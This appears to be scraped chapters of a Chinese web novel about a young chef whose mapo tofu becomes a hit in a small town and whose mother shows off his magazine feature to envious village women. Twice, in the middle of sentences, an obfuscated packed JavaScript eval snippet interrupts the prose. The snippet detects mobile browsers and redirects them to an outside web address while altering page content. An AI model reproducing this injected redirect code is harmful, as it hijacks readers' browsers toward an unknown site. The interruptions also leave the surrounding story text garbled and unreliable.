棕色皮衣内搭米色羊毛衫，配黑色半身裙，脚上穿的玛丽珍小皮鞋，头发烫的微卷，头上戴着一顶帽子，钻石耳钉和项链闪闪发亮，坐在那里像是会发光一般。 女工们的眼睛纷纷亮了起来。 在苏稽镇上，乃至嘉州，他们嘉州纺织厂的女工，都是走在时髦前线的。 虽然平日都要穿工装，但一到节假日，或者有集体文艺演出的时候，一个个穿红戴绿，赛着时髦。 可她们的时髦，在眼前这个女人面前，显得有点不够看了。 这两年，纺织厂工人的家里陆续买了电视，港剧、日剧明星的穿搭成了潮流。 幸子衫、喇叭裤……都是从电视里学来的时尚穿搭。 本地裁缝对比着电视剧裁剪出来的潮流服饰，和她身上的皮衣、裙子相比，多少显得有些拙劣。 她就像是从电视里走出来的明星，漂亮时髦的衣裳，烫卷的头发，白嫩光滑的皮肤，优雅从容的气质，还有闪亮的首饰。 只看一眼，所有人便笃定门口那辆车应该是这位时髦姑娘的。 电视里，这样的名媛千金，都是坐车出行的。 很合理。 客人们纷纷进店。 不少姑娘选择坐在靠近段语嫣她们这一桌，想要近距离瞧瞧港风穿搭，观摩学习。 也有人觉得这是资产阶级入侵，避而不及，离得远远的。 段语嫣并不在意，反正在嘉州，上哪吃饭都是被围观的状态，她已经习惯了。 没办法，长得好看，总归是有点烦恼的。 她从小就知道。 “麻婆豆腐？上新菜了啊！” “早上吃面就瞧见了！本来中午想吃食堂的，但还是想来尝尝周老板做的麻婆豆腐。” “麻婆豆腐是蓉城名菜啊！去年我三爸去陈麻婆豆腐吃了一回，回来吹了半年牛，说那豆腐比肉都好吃，味道巴适得板！” “那周老板做的正不正宗哦？我感觉在食堂吃了这么多年，也没见肖师父做过麻婆豆腐嘛。” “八毛钱一份，价格也不便宜哦，豆腐才两毛钱一斤的嘛。” 客人们看着菜单上新上的麻婆豆腐，兴致都颇高，已经有人准备要点。 这时，赵红端着两份麻婆豆腐从厨房出来，分别给段语嫣和**她们上了桌。 客人们的目光立马看了过来，眼睛皆是一亮。 段语嫣的目光被那色泽红亮的麻婆豆腐吸引，小声道：“这麻婆豆腐看着真不错！” “亮汁亮油，白里透红，闻得到的麻辣香气，这麻婆豆腐看着确实不错。”汪大爷也是点头。 旁边那桌，**已经给自己碗里盛了一碗饭，两眼放光的看着面前这份麻婆豆腐：“这芡勾的太到位了！豆腐一块块浑然一体，一点都没有散掉，用的还是牛肉臊子，看着就巴适！” 她每次去蓉城，必去陈麻婆豆腐吃一顿，有时她老汉儿有别的约，她自己都要跑去吃。 没办法，回了嘉州确实吃不到这个味道。 李老三做的麻婆豆腐，虽然用的也是牛肉臊子，但勾芡水平不行，豆腐挂不住汤，味道大打折扣。 乐明饭店的麻婆豆腐也是半斤八两，甚至连臊子都是用的猪肉臊子。 周砚做的这份麻婆豆腐，光看品相就和陈麻婆豆腐的很接近。 亮汁亮油，青色的蒜苗叶，红色的豆瓣，与白色豆腐相间，看着就让人很有食欲。 芡勾的恰到好处，均匀的裹住了豆腐，用专业的说法，就是捆！ 如同一个壳，把豆腐捆在里边，起到第一道保温的效果，然后外面再覆一层油，这样豆腐的温度就很难散开。 麻婆豆腐，吃的就是一个烫。 作为一道调羹菜，必须要配饭吃才是王道。 **拿起调羹，先给自己舀了一勺在碗里。油脂和汤迅速渗入白色的米饭之中，泛起一层红亮的油光。 “小姑娘，你尝尝看这麻婆豆腐味道如何。”隔壁桌的大叔笑着说道。 旁边的客人也是纷纷向着**看来，同样面露期待之色。 **胖嘟嘟的体型和圆圆的脸蛋，除了亲和力满满之外，一看就对吃的特别权威。 这年代，想要吃出这样体型，没点殷实的家底根本不可能。 前两年还有不少人在挨饿呢。 “叔，你放心点，这麻婆豆腐看着就正宗。”**笑着应道，拿起筷子，把碗里的豆腐夹起。 嫩豆腐筷子一夹就陷了进去，颤颤巍巍，似乎随时都要碎掉。 要是没有十来年的吃货经验，要夹起这块豆腐可不容易。 这一方小小的豆腐，裹着芡汁和红油，挂着牛肉臊子，面上还有花椒粉，小口吹了吹，直接喂到嘴里。 烫！ 是舌尖最先感受到的。 麻、辣、鲜、香、酥、嫩、浑粉墨登场！ **的眉梢一挑，眉毛感觉都要跳舞了。 太对了！ 就是这种感觉啊！ 这麻婆豆腐做的，太正宗了！ **扒拉了一口米饭，浸透了汤汁的米饭，咸香麻辣，简直美得不行！ 旁边响起了一阵吞口水的声音。 “点，不要犹豫！这味道，和陈麻婆豆腐一样正宗！麻辣鲜香，酥嫩浑烫，味道不摆了！”**侧头和刚刚发问的大叔道：“看看这一份里面的牛肉臊子的量，至少用了一两牛肉，酥软、酥香十足！八毛钱一份贵吗？我觉得不贵！绝对下饭，不下饭你找我，我给你报销。” “要得，我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好的。”段语嫣另外拿了个瓢羹，然后把碗里的豆腐舀了起来喂到嘴里。 烫！ 刚上桌的麻婆豆腐，烫的她一惊，要不是旁边不少人看着她，她第一反应肯定是吐掉。 好在烫的感觉很快消退，花椒的麻味登场，豆瓣的辣味紧随其后，牛肉臊子和骨汤的鲜味勾起味蕾，青蒜苗的芳香释放。 酥是牛肉臊子的酥香和酥嫩，这豆腐太嫩了，入口一抿就化开了！ 她对于麻婆豆腐的所有想象，在这一口中尽数得到了满足。 和那次在陈麻婆豆腐吃的很像，但又有些许的差别。 好像…… 这一份的味道还要更好几分。 应该是调味上的差别，没那么咸，恰到好处。 好吃！ 味道和口感都绝了。 “这麻婆豆腐真不错，不过确实要配饭吃，这是下饭菜！” 放下勺子，段语嫣给自己盛了半碗饭，并且快速扒拉了一口米饭到嘴里。 香甜松软的米饭，压住了舌尖上的麻辣，带走了多余的咸味，带来了无与伦比的满足感。 原来，和有些菜搭在一起，米饭都会变得格外好吃。 她舀了一勺麻婆豆腐盖在米饭上，勺子一压，豆腐碎开，如雪块般散入米饭中，豆腐和汤汁拌着米饭直接舀起一勺喂到嘴里。 段语嫣秀气的眉毛随之扬了起来，表情都随之明媚起来。 麻婆豆腐拌饭，这吃法也太绝了吧！ PS：（麻婆豆腐拌饭）加更求月票！ 求月票呀！ (本章完) 第178章 富贵不还乡，如（66k二合一） 第178章富贵不还乡，如…（6.6k二合一） **这桌和隔壁段语嫣这桌吃的实在太香，原本还有几分犹豫的客人们，纷纷点餐。 麻婆豆腐拌饭，想出这吃法的简直是天才！ 光是看着，就已经能够想象到有多香了。 一份份订单送进后厨。 八毛钱一份，值得一试。 “不好意思，麻婆豆腐已经卖完了，今天就准备了二十份，明天再点吧。”不多时，赵嬢嬢把麻婆豆腐的牌子摘下，挂进了估清区，和后边点麻婆豆腐的客人微笑说道。 “这就卖完了啊？” “这才中午的嘛！” “赵嬢嬢，能不能给我点一份嘛，我真的好想吃麻婆豆腐啊。” 客人们顿时哀声一片，看着一旁桌上白里透红的麻婆豆腐，馋地直吞口水。 “我们用的是西坝豆腐，今天卖完了就没地方补充，明天多准备一些嘛。”赵铁英笑着解释道，“乖乖些今天先点别的菜吃，明天再来吃麻婆豆腐。” 客人们闻言，也就只好作罢。 可一个个心里都暗自下定决心，明天一定要早些来，点上一份麻婆豆腐。 段语嫣平时不爱吃米饭，可今天就着麻婆豆腐，足足吃了两碗饭。 ‘下饭菜’这个说法，她今天算是终于理解了。 下饭程度远胜回锅肉，把她吃撑了。 他们吃的差不多，严飞才进来收尾。 邱老太要给他再点个菜，被他拒绝了。 严飞舀了一勺麻婆豆腐盖在饭上，笑着道：“邱太太，这些够我吃的了，都是下饭的好菜呢。” 还有一碗跷脚牛肉几乎没动过，只是吃了面上的牛肉。 很显然，这应该还是段小姐的杰作。 今天没有点六碗吃牛肉火锅算好的了。 严飞吃饭很快，风卷残云般吃了两碗饭，剩下的菜也吃了个精光，端着跷脚牛肉大口喝汤。 “啧，瞧瞧这资本家的做派，司机连一起吃饭的资格都没有，只能吃点剩菜。” “就是！太不尊重劳动人民了！” “得了吧，我还想一顿能吃上卤牛肉、红烧排骨、跷脚牛肉和麻婆豆腐呢。看看人家吃的多斯文有教养啊，都是特意留了一角没动筷的。” “可不是，人家司机吃的挺满意的，你倒是不乐意上了。” 其他客人小声议论着，有人愤慨，也有人调侃。 严飞放下碗，满足的舒了口气。 这麻婆豆腐太香了！卤牛肉也是一绝！ 最后用跷脚牛肉汤来收尾，更是浑身都暖和起来。 不得不说，周砚这**头的厨艺确实好，这一桌的菜，各有风味，竟挑不出半点毛病。 比飞燕酒楼好吃太多了。 他甚至认真考虑了一下，等下个月段小姐回香江后，他要带老婆和孩子来搓一顿。 至于那些议论声，严飞根本没放在心上。 他们要是知道他一个月工资八百五，估计眼睛都红了吧。 段小姐每回点菜都是点一桌，但她和邱太太每回吃的都不多，而且吃东西十分讲究，给他留的菜都不会烂糟糟的。 段语嫣见他吃完了，起身结账。 邱老太和汪大爷也跟着出了门。 “语嫣姐姐，你要走了吗？”周沫沫跑了过来，身上小皮衣已经脱了，但还戴着那顶酒红色的帽子，仰着头看着段语嫣在说道。 “是吖，吃饱了，姐姐要回家了。”段语嫣笑着蹲下，伸手捏了捏小家伙肉嘟嘟的脸，“要不要跟姐姐去嘉州玩两天，到时候姐姐再给你送回来。” “坐小汽车去吗？”周沫沫看向了停在一旁的轿车。 “对啊，你要喜欢坐车，姐姐天天带你去兜风。”段语嫣笑着道。 小家伙认真想了想，还是摇头：“不了，妈妈说不能随便去别人家住。” 段语嫣和邱老太闻言都笑了。 “好吧，那姐姐过两天再来找你玩哦。”段语嫣伸手抱了一下她，“快，再亲姐姐一口。” “mua！”周沫沫在她脸颊上啄了一口，“再见，香香姐姐。” “再见，沫沫宝宝。”段语嫣也亲了她一口，笑眯眯道。 黄兵跟着**正在结账，看着这一幕，忍不住羡慕起周沫沫。 他连话都说不上的女神，周沫沫又抱又亲！ 实在是太让人羡慕了。 长得可爱，就是为所欲为啊。 “你看看别人的妹妹。”黄兵忍不住小声嘀咕。 “你咋不看看人家的哥哥呢，长得又高又帅，做菜那么好吃，说话又好听，还写得一手好字，对妹妹更是好的没边，身边漂亮姑娘围着转。”**给她翻了个白眼，继续输出： “我家里可是有照片的，我小时候也长这么可爱，就连邱奶奶都乐意抱着我亲。” 黄兵张了张嘴，发现自己竟是无法反驳。 人比人，好气哦！ 他们进门前，段小姐确实跟周砚聊的火热，看起来颇为熟络。 早知道不说这话了！ 段语嫣看着二老提议道：“吃得好饱啊，奶奶要不咱们沿着江边逛到图书馆去吧，我刚好想借几本书回去看看，让汪大爷给我推荐一二。” 邱老太点头：“也要得。” 汪大爷自然没有意见，推上自行车和邱老太沿着江边缓步慢行。 “飞哥，你把车开到镇图书馆门口等我们，我们散步过去。”段语嫣和严飞说了一声，落后几步跟在两位老人身后。 严飞哪敢让段小姐和邱老太自个待着，特别是段小姐一身闪亮的首饰，要是被那个不长眼的小瘪三盯上，他可担不起这个责任。 他带着几分警告的意味看了一眼黄兵，开上车，不远不近地跟在三人后边。 “他刚刚又瞪我一眼爪子？我看起来真不像是好人吗？”黄兵把车推出来，有些气恼道。 “确实看不到一点像好人的特征。”**深以为然的点头。 “没得事，他只是一个司机而已。”黄兵不以为意，看着段语嫣远去的背影，信心满满道：“我相信，我很快就能和段小姐说上话了，她今天可是多看了我几眼呢！” “啧，人去动物园一般会看两种东西，一种是长得好看的，一种是长得好笑的，比如红屁股的猴儿。” “你……你啥子意思？”黄兵瞪了她一眼。 **看着他道：“年初咱们去拜佛的时候，那算命先生跟你说的话你还记得不？” “记得，算命先生说我今年会为情所困。”黄兵一脸感慨道：“你瞧，爱情这不就来了吗。” “我之前也以为是爱情，看你今年要被一颗包谷给困住了。”**一脸认真道：“今天才发现，原来是自作多情的情。” “啊？”黄兵愣了一下，看着已经骑着车冲出去的**突然琢磨过味来，咬牙切齿道：“**！你给我站到！” …… “客人点麻婆豆腐的热情高涨，我看就算增加二十份都能卖得出去。”中午营业结束，赵铁英看着解了围裙从厨房出来的周砚说道。 “刚开始都会想要尝鲜，不过加二十份就是加二十斤，不晓得来福他们能做得出来不。”周砚笑着说道，对于麻婆豆腐的首秀同样颇为满意。 这些豆腐，可都是来福用手一点点磨出来的豆浆做成的豆腐，产能完全取决了他的体力。 他太瘦了，哪怕耐力再好，既要做豆腐，又要做豆腐干，还得帮着做腐竹，活太多，产能终究有限。 要说最优解，周砚觉得他们还是要想办法买头骡子，把院角那个大磨盘重启。 最磨人也是最费体力的磨豆浆这道工序可以解放双手，而且磨豆浆的速度大幅提升，产能估计也能快速提升。 三百块钱一头的驴，周砚估计他们过年前应该就能买了。 到时候驴不光可以拉磨，套上车架还能用来送豆腐。 当初来福他爸，就是赶着驴车到处送豆腐。 这事，周砚肯定会帮忙把把关。 有了驴车，就算日后他把饭店搬到嘉州，也能让来福天天给他送豆腐来。 这可是核心食材供应商。 “能不能做是你姨婆的事，你先提要求，他们自然会想办法。说白了，豆腐比做豆干要少不少工序，挣的钱是一样的，他们肯定也愿意多做豆腐卖。”赵铁英说道。 “好，等会我去一趟上水村。”周砚点头。 赵铁英笑着道：“要得，我跟你老汉回趟村里，跟大家说吃饭的事。” “妈妈，我也想回村里耍！”周沫沫凑过来，仰着头满眼期待，“我好久没有跟花花和大白耍了，它们肯定也想我了。” “要得，也带你回去。”赵铁英伸手刮了一下她的鼻子。 “四嬢，你们去嘛，剩下的碗我来洗就是，免得回来晚了。”赵红主动说道。 “好嘛，赵红，那就辛苦你了。”赵铁英笑着点头，招呼周淼道：“上楼去换身衣裳，早点回去，免得大家都睡午觉或者出门了。” 赵铁英把周沫沫也抱着上楼去了。 等三人再下楼的时候，已经焕然一新，全都换上了新衣服。 老周同志穿着中山装，西装裤，脚上蹬的是那双保养的铮亮的皮鞋，手上戴着那块上海牌手表。 赵嬢嬢穿的花衬衣，外边套了件红色针织外套，头发扎起，把两只耳朵都露出来，金耳环亮闪闪的，脚上穿的也是周砚给她买的那双皮鞋。 周沫沫里边换了件薄毛线衣，外边穿的是段语嫣今天送的棕色小皮衣，头上还戴着酒红色的小帽子，赵嬢嬢倒是把穿搭给周沫沫现学现用上了。 “你看我们这样穿要的不？”赵嬢嬢看着周砚问道。 “要得，一看就是在镇上挣了钱的。”周砚笑着点头。 “要的就是这个效果。”赵嬢嬢对周砚的说法颇为满意，转身把立在墙上的杂志给拿了。 “妈，要给你拿个包包装不？”周砚问道。 “拿啥子包包哦，就是要拿在手里才自然。”赵嬢嬢摇头，一本正经道：“从包包里掏出来太刻意了，拿在手里就不一样，大家都看得到。” 瞧瞧，这就是老一辈艺术家的经验。 周砚看着赵嬢嬢上扬的嘴角，看来光是想到一会回村要干什么，她已经忍不住想笑了。 老周同志载着赵嬢嬢和周沫沫走了，周砚揣了点钱在身上，打包了三两猪头肉和半斤卤素菜，推着自行车出门，往上水村而去。 刚拐进小道，便闻到了豆浆的香气。 周砚把车在院门外停下，上前敲门。 不一会，门被拉开，来福站在门内看到周砚，脸上露出笑容，迎着他进门。 “周砚，你来了啊。”孙老太还是坐在院子里做腐竹，抬头向他看来，脸上也是露出了笑容。 “姨婆，你眼睛和腿好些了没得？”周砚笑着问道，把手里的卤肉和卤菜递给站在身旁的来福，“给你们带了三两猪头肉和一点卤素菜，你们晚上当菜。” “眼睛舒服多了，正平表哥给我扎过针后，腿也好多了，没之前那么痛，昨天晚上难得睡了个好觉。”孙老太有些不好意思道：“哎呀，你每次来都这么客气，带啥子东西嘛，文钱不落虚空，我又没东西可以回礼。” “好点就行，说明有效果。自己做的卤味，带点给你们尝尝。”周砚笑道，看孙老太的眼睛比起昨天确实没那么红肿了，眼药水和消炎药的效果还是挺显著的。 而且，她应该没哭了，这对眼睛的恢复也有帮助。 “姨婆，我今天的麻婆豆腐卖的很好，二十斤豆腐不够卖，你们豆腐的产量还能增加不？”周砚说出此行目的。 “二十斤都不够卖？”孙老太闻言有些惊讶，直接问道：“你说你要好多斤嘛。” “四十斤得行不？” “四十斤……”孙老太沉吟了一下，点头：“要得！明天让来福背两趟，保证让你够卖。” “不用跑两趟，你就让来福把豆腐背到我店里，豆干和腐竹等我老汉转过来拿。”周砚笑着说道：“来福的时间不该浪费在送货跑路上，多在家帮你做豆腐，提升手艺才是关键。” “你们这些表叔、老表太照顾他了。”孙老太有些哽咽道。 “姨婆，这是今天早上来福送来的货的一半钱，你收好。”周砚从兜里摸了八块四递给孙老太。 “说了划账的嘛。”孙老太没伸手。 “是我考虑不周，就算划账，也要把本钱拿给你们去买豆子，留点钱过生活嘛。”周砚笑着把钱塞到她手里，“我现在豆腐这些要的多，你们目前又只做我一家生意，给你们留一半钱买豆子和生活开支。这样算下来，差不多一个月也能把账划完，很合适。” “周砚，你钱急用不？那么多钱的嘛。”孙老太拿着钱，有些不好意思。 “姨婆你放心，这钱我不急用。”周砚摇头，这也是个欠了钱自己特心慌的主。 孙老太问道：“那你晚上这顿要用豆腐不？这边刚点了两锅豆腐，你要的话，我就让来福给你做两板送到店里去。” 周砚闻言眼睛一亮：“那也要得。” 两板豆腐二十斤，就是二十份麻婆豆腐，能挣八块多呢。 …… 周村村口大树下。 刚吃完午饭的妇女们，这会正坐着摆龙门阵。 这段时间，张老太他们这一大家，贡献了最多的话题。 “卫国现在是武装部的部长，可威风了！昨天我去镇上办事，路过武装部，就看到他在指导民兵训练，站在那里，那些民兵在他面前跟小鸡仔一样。” “卫国现在是出息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229370|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，我听说都有好几个媒婆上门去找张老太说亲呢。以前嫌人家卫国残疾又没工作，现在全成优点了。” “嫁过去就是当官太太，有点残疾怎么了，卫国以前可是十里八乡的俊小伙，一点不输现在的周砚。” “我听说周杰和周海在码头那边卖汤锅，生意好的批爆，卖六毛钱一碗，一天能卖一百碗，不晓得要挣好多钱！” “他们卖的不叫汤锅，叫跷脚牛肉，说是跟着周砚学的手艺，大家吃了都说好，客人加钱都愿意吃他们家的。” “他们这家人巴着周砚，倒是越过越好了，我听说周砚的饭店生意也是好得很，门口天天排起长队卖卤肉。” 妇女们议论纷纷，脸上难掩羡慕之色。 “嘁，我看也是吹牛成分居多。”高翠花撇撇嘴，“周砚要是真那么会挣钱，他们家房子塌了怎么不见他回来修？这都大半个月过去了，连地基都没人打整，烂糟糟的塌在那里。” “就是，他们兄弟那么多，也没见哪个说要出钱出力，把房子重新盖起来。砖瓦房盖不起，地基挖出来，重新打土墙也要得嘛。”旁边一个胖婶接话道。、 这时，村道上出现了一辆自行车，不紧不慢的骑来。 “那不是老四和铁英嘛。”有人眼尖，一眼便瞧清了来人。 众人纷纷伸长脖子瞧着，这才刚聊到他们家呢，正主就来了。 “老四穿一身新衣服啊，倒是板正。” “沫沫乖乖身上穿的啥子？反起光还亮晶晶的，是皮衣吗？” “看铁英耳朵上的才是真的金光闪闪，莫不是戴了个金耳环哦！” 众人小声议论着。 高翠英闻声也是伸长脖子，屁股都离开石凳，瞧见赵铁英耳朵上闪着金光的耳环，一屁股坐回了石凳上，心里顿时有些不得劲。 “铁英姐回来了啊。”邻家弟妹李红艳主动打招呼。 周淼一捏刹车，自行车停在了大树下。 “都吃饱了在这里摆龙门阵呢？”赵铁英坐在后座上，笑着把不存在的头发往耳后撩了撩，耳环微微晃动，金光闪闪。 “这么大的金耳环都戴起了！这是发财了啊。”李红艳惊叹道。 “哎呀，你四哥说我啥子首饰都没得，上回去百货公司，非要给我买一对金耳环，还是老凤祥的牌子呢。”赵铁英笑眯眯道。 “四哥对你真好！” “老四还是晓得疼老婆，不像我家那个死鬼，天天只晓得打牌！” “我家那个龟儿子还不是一样，天一黑就灌三两马尿，倒头就睡，话都说不上一句。” 妇女们满脸羡慕，顺便咬牙切齿的把自家老公狠狠批判了一遍。 “四哥手上戴的是新的上海手表吧？要上百块钱！”李红艳眼尖，又有了新发现。 众人的目光纷纷转到周淼的手上。 还真是一块闪亮的新手表，上海牌的。 “要不到一百，降价了，只要七十块钱。”赵铁英笑着道：“周砚给他老汉买的，说他喜欢钓鱼不晓得时间，有个手表方便些。” “钓个鱼都要配个手表啊？周砚硬是有钱又孝顺哦。”李红艳感慨道。 其他人也是纷纷点头，顺便在心里批判。 七十块钱的手表，竟然买来钓鱼！ “沫沫乖乖身上穿的是皮衣吗？看起来好洋气哦。”李红艳的目光转到周沫沫身上。 “李嬢嬢好。”周沫沫乖巧地跟她打了个招呼。 “是，周砚朋友从香江给她买的，说是啥子牌子的，我也懂不起，真皮的，摸起来是多舒服，跟棉衣是不太一样。”赵铁英笑盈盈道：“这帽子还是他朋友送的，叫啥子鸭舌帽。” “香江带回来的！” 众人闻言，眼睛都睁大了几分。 李红艳更是凑上来伸手摸了摸，惊叹道：“皮质好软哦！比上回我去百货公司看到一百多块钱一件的皮衣还要软！” “语嫣姐姐送我的，她可漂亮了呢。”周沫沫说道。 “周砚怎么认识香江的漂亮姑娘啊？还给沫沫带这么好的皮衣。”有人好奇问道。 “我们家周砚厨艺好的嘛，人长得英俊，说话办事又妥帖，许多客人吃了他做的菜都愿意跟他做朋友。”赵铁英一脸骄傲地把手里的杂志往前一递，笑吟吟道：“你们看，他做的菜还上了杂志封面呢，里面还有一篇专访。我听说，能上这个杂志的都是一级、特级的大厨。” “上杂志？” “登专访？！” 众人闻言目瞪口呆，纷纷看向了赵铁英手里的杂志封面，青花瓷盆里盛着一锅牛肉汤。 “这不是我们周村的汤锅吗？”李红艳惊讶道。 “是周砚做的跷脚牛肉。”赵铁英笑盈盈地翻到周砚的那篇专访，“看嘛，还拍了照片的。” 众人认真看去。 “还真是周砚！” “拍出来硬是一表人才啊！” “这娃娃有出息啊！都上杂志了！能登报见纸的，都是有头有脸的人物嘛。” “铁英，你好有福气哦，老公疼你，儿子又有出息，简直太幸福了。” “就是，我家里那个瘟丧，天天就晓得躺在床上睡觉，癞疙宝一样，夺一哈跳一哈。” 树下的妇女们，这回是真的羡慕极了。 老公再大方，花的都是家里的钱。 但儿子有本事又有孝心，那是当妈的这辈子做梦都想要的。 这不…… 赵铁英他梦想成真了啊！ 不是，姐妹？ 你咋就过上这种日子了呢？ 自己的平庸固然可怕，但姐妹的成功更让人辗转反侧。 一旁的高翠花，嫉妒地表情都扭曲了。 赵铁英把众人的表情尽收眼底，嘴角根本压不住。 “不摆了不摆了，我们回去还有点事，大家回头有空来镇上找我耍嘛。”赵铁英笑盈盈的把杂志一收。 周淼立马蹬着自行车往村里去。 留下一众羡慕坏了的妇女。 “给她得意完了！别个考上大学，拿着录取通知书都没她得意，不晓得的还以为他家周砚考上状元呢！”高翠花啐了一口唾沫，酸气冲天。 “周砚做的菜上了杂志封面，和一堆一级厨师、特级厨师一起上杂志，读书读得好的叫文状元，那他也算是厨状元了嘛！”李红艳笑道。 “就是，我儿要是有这种本事，我把杂志挖两个洞洞，天天贴在脸上，每天在村子里早一趟，晚一趟的走。” “都是老周家的人，他们家祖坟冒起青烟，我们啷个就没沾光呢？” 众人议论纷纷，羡慕二字已经说烂。 高翠花拳头握了又松，咬牙切齿的回家去了。 求月票~！   (本章完) 第179章 你简直是个天才销冠！（6k二合一） “我刚刚表现的怎么样？”赵铁英搂着周淼的腰，笑盈盈问道。 周淼笑着点头：“高翠花的牙齿都快咬碎了，我估计回去要把他儿和男人都打一顿才能出得了这口气。” “爽了！”赵铁英笑容愈发灿烂，“我的好大儿，太给老娘争气了！” 她从年轻的时候就和高翠花不对付，之前周砚被厂食堂开除出来开饭店，她没少在背后阴阳怪气。 就是个当面嘻嘻哈，背后叽叽喳的真小人。 今天高翠花要是没在这，她还懒得让周淼刹这一脚。 女人报仇，从早到晚。 这回，让她难受去吧！ 进了村，三人下车，一家一家串门，把星期天晚上聚餐的消息告知各家，且把上回各家给他们拿的救急钱也给还了回去。 “老四、铁英，过年再也不迟嘛，你们刚搬到镇上，花钱的地方还多得很。”周泽看着两人说道。 “就是，我们又不急着用。”二嫂杨秋菊手里拿着钱，跟着说道。 “去了镇上，东西都是周砚在买，也不让我们花钱。”赵铁英笑着道：“这钱放在我们手里也没用，不如早点还给你们。我这个人就是这样，欠着钱，晚上都睡不踏实。” 周泽和杨秋菊闻言也都笑了。 “二哥，周砚做的跷脚牛肉上了杂志封面，还有一篇专访呢。”周淼开口道，把杂志递了过去。 “真的？！”周泽眼睛一亮，把手在身上蹭了又蹭，这才小心接过杂志，看着封面上的那盆牛肉汤，笑着道：“是老娘那个青花瓷盆的嘛！还真是周砚做的跷脚牛肉，和他教周海他们做的一模一样。” “周砚太有本事了！都上杂志封面了！”杨秋菊凑过来看，也是惊叹道，满脸高兴之色。 “你看，还有专访。”周淼翻开杂志。 “这小伙！拍的真精神！”周泽看着周砚的照片咧嘴笑。 “硬是帅气。”秋菊点头。 “好事！大好事啊！咱们家除了老爷子和卫国，这是第三个人上报纸杂志啊。”周泽连连点头，笑着道：“这杂志我就留个纪念了啊。” “不得行，我们才一本呢。”周淼立马把杂志从他二哥手里抽了回来，“大哥、三哥他们还没看，这本还要放在店里当镇店之宝。” “你看你这个人就是太较真了。”周泽啧啧道。 “回头我们去嘉州，多买几本回来，一家送一本。”赵铁英笑着说道，“那周杰和周浩媳妇那边，就二哥你们负责通知哈。” “要得。”周泽和杨秋菊笑着点头。 “拜拜，二伯、二嬢。”周沫沫冲着他们挥着小手。 “乖乖，你等一下。”周泽连忙把她喊住，转身进门很快又出来，往她手里塞了一把糖果，“你二嫂前两天从城里带回来的，你拿着吃。” “谢谢二伯！”周沫沫两只小手捧着糖果，眼睛笑得弯弯的，“祝你们身体健康，天天开心。” “乖乖，要得，下回再来哈，二伯偷你侄儿的糖糖给你存着。”周泽笑得眼睛都瞧不见了。 家里唯一的妹宝就是这样宠的，两句话把伯伯哄成孙子了。 他们一家家逛过去，每个人的脸上都洋溢着笑容。 逛完周沫沫的两个口袋都装满了。 最后转到周家老宅。 周沫沫蹦跳着就推开虚掩着的院门跑了进去，嘴里还喊着：“奶奶！大白！花花~~” “这丫头。”赵铁英笑着摇头，从篮子里提着一瓶酒跟着进门，便瞧见周沫沫正跟站在凳子上的狸花猫头对头贴贴，身后大白鹅张开双翅，拿脖子轻轻蹭着她的腿。 狸花猫闭上眼睛，嘴里咕噜噜的响着，发出了小奶音。 “花花，乖乖。”周沫沫跟它贴贴了一会，一把搂过它抱在怀里，然后伸手摸了摸大鹅的脑袋，“大白，你也乖乖。” 周淼跟着进门来，看着这一幕，嘴角不禁上扬。 “这大鹅也就在她和老娘面前这么乖巧。”赵铁英笑道。 “看到你还是绕着走嘛。”周淼笑道。 赵铁英斜了他一眼：“你是想说我比较可怕嘛？” “不得不得，是它晓得这个家谁是主子。”周淼连忙说道。 “有点道理。”赵铁英微微点头。 “你们来了啊。”老太太提着一桶猪食从堂屋走了出来。 “妈，我来！”周淼连忙快步上前，从老太太手里接过桶往猪圈走去。 “奶奶！”周沫沫抬头看着老太太奶声奶气喊道，手在口袋里掏了掏，摸出一把糖递了过去，“吃糖糖！” “奶奶吃一个就够了。”老太太笑着从她手里挑了一颗水果硬糖，低头看着她道：“喔唷，我们沫沫小皮衣都穿上了，洋盘得很哦。” “周砚的朋友给她从香江带的。”赵铁英笑着接过话，左右看了一眼，“舅舅呢？没在家吗？” “吃了午饭，到隔壁下棋去了，难得碰到个臭棋篓子，能跟他下得有来有回。”老太太笑道，“周砚蓉城都没去过，还认识香江的朋友啊？是不是姓段嘛。” “对。”赵铁英点头，有些意外，“妈，你也认识啊？” “上回周砚跟我提过一嘴。”老太太随口道，伸手帮周沫沫把衣服上的猫**拂去，“皮质还多软嘛，价格肯定不便宜，就是买的太合身了，明年怕是穿不上了。” “有钱**概是不需要考虑这些的。”赵铁英笑着说道：“妈，我和周淼打算这个星期天晚上请大家到饭店吃顿饭，就当是搬新家请大家来热闹一下，到时候你和卫国、舅公一起来嘛。” “星期天晚上吗？”老太太顿了顿，“我还打算明天通知你们，星期天去老霄顶给周毅扫墓呢，那到时候扫了墓，回来吃饭也刚好合适。” “要得。”赵铁英点头，这事就算定下了。 …… “老汉！你猜我们今天中午吃饭碰到谁了。”**回到飞燕酒楼，立马跑到前台冲着黄鹤说道。 “碰到你舅舅吗？”黄鹤正在整理柜子里的钱，随口问道。 “不对，是邱奶奶。”**说道。 “哪个？”黄鹤手一顿，抬头看向**有些紧张道：“你说的是邱老太太？” “对。”**点头。 黄兵补充道：“就是上回坐皇冠来吃饭的那位老奶奶，她孙女很漂亮。” “她们怎么会跑到苏稽去吃饭啊？”黄鹤压低了几分声音：“点卤味没得？” “点了，点的还是卤牛肉。”**点头。 “遭了…”黄鹤以手扶额，悬着的心也**。 要是别的食客就算了，他硬着头皮都要说这卤牛肉是他们家自己卤的，只是味道相似。 可邱老太在他们飞燕酒楼吃了几十年的卤牛肉，从他老汉那一辈吃起，几乎每次来，有必点。 他都不敢想，当她吃到味道一模一样的卤牛肉时，对飞燕酒楼会多失望。 